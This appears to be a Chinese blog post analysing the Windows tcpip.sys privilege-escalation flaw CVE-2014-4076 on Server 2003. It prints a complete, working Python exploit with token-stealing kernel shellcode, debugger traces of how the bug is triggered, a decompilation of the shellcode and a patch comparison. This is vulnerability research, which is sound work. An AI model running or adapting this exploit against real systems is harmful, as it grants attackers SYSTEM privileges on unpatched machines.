欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

CVE-2014-4076 tcpipsys 提权漏洞的分析

CVE-2014-4076 tcpipsys 提权漏洞的分析

一、        概述:
Win2k3,sp2
Python2.7.9
VirtualKD-2.8
Windbg,IDA6.5
Tcpip.sys版本编号:5.2.3790.3959
微软编号:MS14-070
原poc:http://www.exploit-db.com/exploits/35936/
测试MITM  Fuzz时发现此漏洞,通过搜索,已经被报告。15.1.28公开了exp。来分析一下该漏洞。
这是一个利用tcpip.sys可以提权的漏洞。本文将包括简化的EXP,跟踪该漏洞的触发机制,分析其shellcode的功能。最后对tcpip.sys的函数调用机制等内容做简要的分析。
二、        Python编写的EXP
Matt Bergin报告该漏洞时附带了用python编写的EXP。
在2.7.9下当然是跑不动的。由于python的版本可能不同,导致有几处参数传递的语法有变化。会报错。再因python的缩进约定,在HTML的传播过程中,较难确定python源码的缩进有没有被改变。
原EXP中使用多线程,全局变量等内容,不够简洁。几次尝试提权,成功率不太稳定。可能是没能理解原EXP的机制。
因此把原exp简化一下。简单的总是好理解,换掉启动进程部分的代码如下:

    process = Popen(["c:\windows\system32\cmd.exe"], shell=False)

    pid = process.pid

直接启动一个cmd进程,不使用多线程。把pid返回出来。传递给shellcode。
修改后的py文件可以直接双击运行,不需要带参数。源码如下:
from optparse import OptionParser

from subprocess import Popen

from os.path import exists

from struct import pack

from threading import Thread

from time import sleep

from ctypes import *

from sys import exit

CreateFileA, NtAllocateVirtualMemory, WriteProcessMemory = windll.kernel32.CreateFileA, windll.ntdll.NtAllocateVirtualMemory, windll.kernel32.WriteProcessMemory

DeviceIoControlFile, CloseHandle = windll.ntdll.ZwDeviceIoControlFile, windll.kernel32.CloseHandle

INVALID_HANDLE_VALUE, FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING, NULL = - \

    1, 2, 1, 3, 0

def main():

    print "CVE-2014-4076 x86 exploit, Level\n"

    global pid, process

    process = Popen(["c:\windows\system32\cmd.exe"], shell=False)

    pid = process.pid

    print "[+] caught attacker cmd at %s, elevating now" % (pid)

    buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"

    sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00"

    sc = sc.replace("\x41\x41\x41\x41", pack('<L', pid))

    sc = sc.replace("\x11\x11\x11\x11", "\x39\xff\xa2\xba")

    sc = sc.replace("\x22\x22\x22\x22", "\x00\x00\x00\x00")

    handle = CreateFileA("\\\\.\\Tcp", FILE_SHARE_WRITE |

                         FILE_SHARE_READ, 0, None, OPEN_EXISTING, 0, None)

    if (handle == -1):

        print "[!] could not open handle into the Tcp device"

        exit(1)

    print "[+] allocating memory"

    ret_one = NtAllocateVirtualMemory(-1, byref(c_int(0x1000)),

                                      0x0, byref(c_int(0x4000)), 0x1000 | 0x2000, 0x40)

    if (ret_one != 0):

        print "[!] could not allocate memory..."

        exit(1)

    print "[+] writing relevant memory..."

    ret_two = WriteProcessMemory(-1, 0x28,

                                 "\x87\xff\xff\x38", 4, byref(c_int(0)))

    ret_three = WriteProcessMemory(-1, 0x38, "\x00" * 2, 2, byref(c_int(0)))

    ret_four = WriteProcessMemory(-1, 0x1100, buf, len(buf), byref(c_int(0)))

    ret_five = WriteProcessMemory(-1, 0x2b, "\x00" * 2, 2, byref(c_int(0)))

    ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))

    print "[+] attack setup done, crane kick!"

    result = DeviceIoControlFile(handle, NULL, NULL, NULL, byref(

        c_ulong(8)), 0x00120028, 0x1100, len(buf), 0x0, 0x0)

    print "result"

    print result

    CloseHandle(handle)

    exit(0)

if __name__ == "__main__":

    main()

三、        漏洞的调试
1、中断
打开vmmon.exe,vmware中启动操作系统win2k3 sp2。进入调试状态。
EXP.py中的sc串, 即是shellcode。第一个字节是0x60,也就是pushad指令。将其更换为0xCC,即int3中断。
ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))

ShellCode是写在地址0x2000处的。
注:除了将Shellcode的第一字节修改为0xcc之外,由于已知shellcode所处位置是0x2000故也可以直接对0x2000下内存执行断点。
Windbg中断下来后,用
kd> eb 2000 60
将0x2000处的int3换回正常的shellcode:0x60(pushad)。
用k命令:
kd> k
ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
f5720b38 f66bd3f2 0x2000
f5720b60 f66a56b1 tcpip!ProcessAORequests+0x15f
f5720b80 f66852a0 tcpip!SetAddrOptions+0x96
f5720bb4 f6685213 tcpip!TdiSetInformationEx+0x539
f5720be8 f6684c5c tcpip!TCPSetInformationEx+0x8c
f5720c04 f6684c89 tcpip!TCPDispatchDeviceControl+0x149
f5720c3c 8081d5a3 tcpip!TCPDispatch+0xf9
f5720c50 808ed3e1 nt!IofCallDriver+0x45
f5720c64 808ee169 nt!IopSynchronousServiceTail+0x10b
f5720d00 808e6cca nt!IopXxxControlFile+0x5e5
f5720d34 80883908 nt!NtDeviceIoControlFile+0x2a
f5720d34 7c8285ec nt!KiFastCallEntry+0xf8
0021f9a4 7c826fcb ntdll!KiFastSystemCallRet
0021f9a8 1d1add9a ntdll!NtDeviceIoControlFile+0xc
0021f9dc 1d1acab6 _ctypes!DllCanUnloadNow+0x5b6a
0021fa0c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4886
0021fabc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
0021fc28 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
0021fc80 1e07cf0c _ctypes+0x54d8
00000000 00000000 python27!PyObject_Call+0x4c   在这最后一层,是python的运行环境
从栈里的情况可以看出是SetAddrOptions函数调用ProcessAORequests出现了漏洞。
反汇编窗口可以看到shellcode如下:
00002000 60              pushad

00002001 64a124010000    mov     eax,dword ptr fs:[00000124h]

00002007 8b4038          mov     eax,dword ptr [eax+38h]

0000200a 50              push    eax

0000200b bb04000000      mov     ebx,4

00002010 8b8098000000    mov     eax,dword ptr [eax+98h]

00002016 2d98000000      sub     eax,98h

0000201b 399894000000    cmp     dword ptr [eax+94h],ebx

00002021 75ed            jne     00002010

00002023 8bb8d8000000    mov     edi,dword ptr [eax+0D8h]  注:token偏移量是D8

00002029 83e7f8          and     edi,0FFFFFFF8h

0000202c 58              pop     eax

0000202d bbd40f0000      mov     ebx,0FD4h  注:FD4即是目标进程的ID

00002032 8b8098000000    mov     eax,dword ptr [eax+98h]

00002038 2d98000000      sub     eax,98h

0000203d 399894000000    cmp     dword ptr [eax+94h],ebx

00002043 75ed            jne     00002032

00002045 89b8d8000000    mov     dword ptr [eax+0D8h],edi  注:token偏移量是D8

0000204b 61              popad

0000204c ba39ffa2ba      mov     edx,0BAA2FF39h

00002051 b900000000      mov     ecx,0

00002056 b83b000000      mov     eax,3Bh

0000205b 8ee0            mov     fs,ax

0000205d 0f35            sysexit

0000205f 0000            add     byte ptr [eax],al

进程FD4的10进制是4052。如下图所示,运行后cmd进程即拥有system权限。

2、分析Shellcode
把shellcode用.writemem写成文件。
kd> .writemem c:\shellcode.bin 2000 205f
Writing 60 bytes. 注:windbg提示写了60个字节到文件。
用ida分析bin文件,F5可以得到代码:
void __cdecl shellcode()

{

  int v0_EPROCESS; // eax@1

  int token; // edi@3

  int v2_EPROCESS; // eax@3

  int v3; // [sp-24h] [bp-24h]@1

  v0_EPROCESS = *(_DWORD *)(__readfsdword(292) + 56);

  v3 = v0_EPROCESS;

  do

    v0_EPROCESS = *(_DWORD *)(v0_EPROCESS + 152) - 152;

  while ( *(_DWORD *)(v0_EPROCESS + 148) != 4 );  //PID为4的System进程

  token = *(_DWORD *)(v0_EPROCESS + 0xD8) & 0xFFFFFFF8;

  v2_EPROCESS = v3;

  do

    v2_EPROCESS = *(_DWORD *)(v2_EPROCESS + 152) - 152;

  while ( *(_DWORD *)(v2_EPROCESS + 148) != 0xF80 );  //进程ID

  *(_DWORD *)(v2_EPROCESS + 0xD8) = token;

  __asm { sysexit }

}

上述代码的作用是把PID=4的token,赋值给指定进程ID的token。
在win2k3 sp2中ERPOCESS.token的偏移量是0xD8。因此上述代码只能运用在win2k3 sp2。
kd> !process 0 0 system
PROCESS 8de8c7e0  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 004f1000  ObjectTable: e1001c80  HandleCount: 1491.
    Image: System
用以下命令查看token的偏移量。
kd> dt _EPROCESS 8de8c7e0  这个值是!process命令结果中紧跟在PROCESS后的值。
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x078 ProcessLock      : _EX_PUSH_LOCK
   +0x080 CreateTime       : _LARGE_INTEGER 0x0
   +0x088 ExitTime         : _LARGE_INTEGER 0x0
   +0x090 RundownProtect   : _EX_RUNDOWN_REF
   +0x094 UniqueProcessId  : 0x00000004 Void
   +0x098 ActiveProcessLinks : _LIST_ENTRY [ 0x8dc1e7d8 - 0x808a61c8 ]
   +0x0a0 QuotaUsage       : [3] 0
   +0x0ac QuotaPeak        : [3] 0
   +0x0b8 CommitCharge     : 8
   +0x0bc PeakVirtualSize  : 0x2b5000
   +0x0c0 VirtualSize      : 0x1e5000
   +0x0c4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0cc DebugPort        : (null)
   +0x0d0 ExceptionPort    : (null)
   +0x0d4 ObjectTable      : 0xe1001c80 _HANDLE_TABLE
   +0x0d8 Token            : _EX_FAST_REF    这就是shellcode中使用的D8偏移值。
   ……省略很多。
3、漏洞的触发
看看EXP中有下面的代码:
ret_two = WriteProcessMemory(-1, 0x28,……
再根据对SetAddrOptions函数的静态分析。可以对内存地址0x28下访问断点。
使用ba r1 0x28命令,不出所料,将中断在下图所示的位置:
这时候,看一下寄存器的值:
kd> r ebx
ebx=00ffff87
kd> r esi
esi=00000000
继续单步,后call tcpip!ProcessAORequests。单步跟进。会来到下来这里:
f66bd3d7 8b86ec000000    mov     eax,dword ptr [esi+0ECh]   注:esi=0,导致EAX=0

f66bd3dd 836628bf        and     dword ptr [esi+28h],0FFFFFFBFh

f66bd3e1 8b4dfc          mov     ecx,dword ptr [ebp-4]

f66bd3e4 66ff4638        inc     word ptr [esi+38h]

f66bd3e8 8945f4          mov     dword ptr [ebp-0Ch],eax  注:前面导致EAX=0

f66bd3eb ffd3            call    ebx

f66bd3ed 57              push    edi

f66bd3ee 56              push    esi

f66bd3ef ff55f4          call    dword ptr [ebp-0Ch]  ss:0010:f5740b54=00000000 触发!


继续单步跟进:
00000000 0000            add     byte ptr [eax],al          ds:0023:00000000=00

00000002 0000            add     byte ptr [eax],al

00000004 1000            adc     byte ptr [eax],al

00000006 0000            add     byte ptr [eax],al

…..省略很多,一直来到2000
00001ffc 0000            add     byte ptr [eax],al

00001ffe 0000            add     byte ptr [eax],al

00002000 60              pushad           注:这里来到Shellcode

00002001 64a124010000    mov     eax,dword ptr fs:[00000124h]

4、EXP里对0x28,0x38的填充
这几个值的填充主要是由SetAddrOptions函数中的跳转机制决定的。其原因如下图所示。单步跟踪可以看到更详细的跳转过程。

5、微软的修补
补丁包:WindowsServer2003-KB2989935-x86-CHS.exe
补丁后的tcpip.sys版本号是5.2.3790.5440。
第一、SetAddrOptions函数
如下图,在BinDiff中,可以看到微软检查了esi值。由于GetAddrOptionsEx也要调用ProcessAORequests,对该函数也作了补丁。左边是老版本。右边是新版本。

第二、TCPSetInformationEx调用的 TdiSetInformationEx也做了改进。
老版本如下:
  

if ( v19 == 512 )

 return SetAddrOptions(a1, *(_DWORD *)(a2 + 16), SpinLock, a3);

新版本如下:
    

if ( v18 == 512 )

   {

      if ( a5 == 1 )

         return SetAddrOptions(NewIrql, *(_DWORD *)(a2 + 16), SpinLock, a3);

}

从两段代码中可以看出,加入了a5==1这个判断。
进一步分析可知,该判断用于检查中断级别。
四、        访问 tcpip.sys机制
既然分析一个漏洞,就不应浅尝辙止,要尽可能刨根问底。上下左右各方面都多分析一些。
下条件断点:
bu nt!NtDeviceIoControlFile+0x13 ".if (poi([ebp+0x1C])==0x120028) {} .else {gc}"
系统中断下来。看栈里:控制码为0x120028的函数栈如下:
nt!NtDeviceIoControlFile+0x13
nt!KiFastCallEntry+0xf8
ntdll!KiFastSystemCallRet
ntdll!NtDeviceIoControlFile+0xc
wshtcpip!SetTdiInformation+0xc3
wshtcpip!WSHSetSocketInformation+0x2fd
mswsock!WSPSetSockOpt+0x42c
WS2_32!setsockopt+0xc9   注:是此函数被调用时使用控制码0x120028
在Fuzz的过程中,总是会和dwIoControlCode打交道。这里复习一下。
计算dwIoControlCode的宏:
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \

((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \

)


以tcpip.sys的常用控制码为例:
0x00120003  //注:wshtcpip!GetTdiInformation
0x00128004
0x0012801c
0x00128020
0x00120028   //本漏洞所使用的控制码
DeviceType:高16位,都是一样:0x0012。0x0012是网络设备。
Access,访问权限
Method,最低两位。
Function,最关键的部分。
用计算器来计算一下,去掉高14位和低2位:
0x00120003=100100000000000000011

Function = 0
0x00120028=100100000000000101000

Function = 0xA = 10
编写一段ring3的socket小程序,调用setsockopt:
	WSADATA wsaData;

	int err = WSAStartup( MAKEWORD(2,2),&wsaData);

	if (err!=0)

	{

		WSACleanup();

	}

	SOCKET sListen;

	int a=4;

	int sendBufSize=1024*10;

	SOCKADDR_IN addr;

	addr.sin_family=AF_INET;

	addr.sin_port=htons(8888);

	addr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");

	sListen=socket(AF_INET,SOCK_STREAM,0);

	bind(sListen,(sockaddr *)&addr,sizeof(SOCKADDR_IN));

	int error=listen(sListen,SOMAXCONN);

	if (SOCKET_ERROR ==error)

	{

		cout<<"listen fail"<<endl;

	}

	int fff=setsockopt(sListen,SOL_SOCKET,SO_RCVBUF,(char *)&sendBufSize,a);

	if (SOCKET_ERROR==fff)

	{

		cout<<"setsockopt error:"<<WSAGetLastError()<<endl;

	}

	system("pause");

用windbg加载上面的exe,对setsockopt下断,可以跟踪WS2_32->mswsock->wshtcpip到tcpip.sys的过程。
使用0:000> uf SetTdiInformation命令,可以看到0x120028参数:

完

上传的附件 1-cmd.jpg
2-SetAddrOptions.jpg
3-patch.jpg
4-0.jpg
5-10.jpg
6-uf.jpg

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功